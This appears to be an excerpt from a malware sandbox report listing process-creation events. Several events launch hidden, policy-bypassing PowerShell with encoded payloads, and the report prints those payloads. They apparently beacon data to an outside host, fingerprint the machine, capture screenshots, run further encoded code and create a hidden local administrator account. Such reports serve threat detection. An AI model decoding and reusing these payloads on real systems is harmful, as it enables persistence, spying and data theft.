Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa1ageamaa0adcamqbladcaoqa2adcangbmadyaoqa2adaazgayadyaoabhagqazga0admamqa2adqaywbiadgazgbjadganabkagmazqa4adaamaa3ageamga0ageaoabjadkaygbjagyangbhagmazgawaduaywayagyanaazagyamqblaguanqaxadgamqbmagmanwayaguanqbladgayqazageazga1agqazqa4adqayqayaguazgbkagyanaa2aduanqa2agmazqa0agiamqa4agyaoqbhadkamaa1adgazgawadiaygbhaguazqbiagiayqa0adcaoqa1adcazgbmadkayqawadaazgbkadmaywbiagqazga1ageazgbkagianaa1aduanablagyaoqa1agqamqa1adyaygbkaguamqa1admayqa0adeamga4admamwazaguamqaxadgazqbhadqanwbkadeazqa3adyanqbiagqamaa0adiayqbkadqazgbladaaywbladcanaayagiamqaxadqazabmadiamgayaduazabladuamga1adkazaazadkamgazadaaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpacaapqagadaaowagac
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbwahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgblahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbwaeeaqqb1aeearqbvaeeavabnaeiaagbbaeuaoabbafiaqqbcahaaqqbfadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeargbraeeavqb3aeiamabbaegasqbbafmauqbcae8aqqbhagmaqqblaeeaqqbvaeearqbraeeavgb3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcahqaqqbgagsaqqbhahcaqgb2aeearabfaeeavwbnaeiawqbbaecaywbbafaauqbbagkaqqbdagsaqqblafeaqqbwaeeaqwbraeeatabnaeiarabbaeuaoabbagiazwbcadaaqqbhafuaqqbiagcaqgawaeeaqwbraeeaswbraeeapqaiaa=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand sqbfafgaiaaoafsavabfafgavaauaeuatgbjae8arabpae4arwbdadoaogbvafqarga4ac4arwblafqauwb0ahiasqboagcakaaoaekavwbyacaakabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciayqbiafiamabjaegatqa2aewaeqa5agoaygayae4adgbiafcavgawagearwa5agsawgbtaduaawbaafmaoqbtafkaawbvadeawgbyagcapqaiackakqapackalgbdae8abgb0aguabgb0ackakqa=	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa1ageamaa0adcamqbladcaoqa2adcangbmadyaoqa2adaazgayadyaoabhagqazga0admamqa2adqaywbiadgazgbjadganabkagmazqa4adaamaa3ageamga0ageaoabjadkaygbjagyangbhagmazgawaduaywayagyanaazagyamqblaguanqaxadgamqbmagmanwayaguanqbladgayqazageazga1agqazqa4adqayqayaguazgbkagyanaa2aduanqa2agmazqa0agiamqa4agyaoqbhadkamaa1adgazgawadiaygbhaguazqbiagiayqa0adcaoqa1adcazgbmadkayqawadaazgbkadmaywbiagqazga1ageazgbkagianaa1aduanablagyaoqa1agqamqa1adyaygbkaguamqa1admayqa0adeamga4admamwazaguamqaxadgazqbhadqanwbkadeazqa3adyanqbiagqamaa0adiayqbkadqazgbladaaywbladcanaayagiamqaxadqazabmadiamgayaduazabladuamga1adkazaazadkamgazadaaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpac	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa1ageamaa0adcamqbladcaoqa2adcangbmadyaoqa2adaazgayadyaoabhagqazga0admamqa2adqaywbiadgazgbjadganabkagmazqa4adaamaa3ageamga0ageaoabjadkaygbjagyangbhagmazgawaduaywayagyanaazagyamqblaguanqaxadgamqbmagmanwayaguanqbladgayqazageazga1agqazqa4adqayqayaguazgbkagyanaa2aduanqa2agmazqa0agiamqa4agyaoqbhadkamaa1adgazgawadiaygbhaguazqbiagiayqa0adcaoqa1adcazgbmadkayqawadaazgbkadmaywbiagqazga1ageazgbkagianaa1aduanablagyaoqa1agqamqa1adyaygbkaguamqa1admayqa0adeamga4admamwazaguamqaxadgazqbhadqanwbkadeazqa3adyanqbiagqamaa0adiayqbkadqazgbladaaywbladcanaayagiamqaxadqazabmadiamgayaduazabladuamga1adkazaazadkamgazadaaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpacaapqagadaaowagac
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbwahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgblahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=
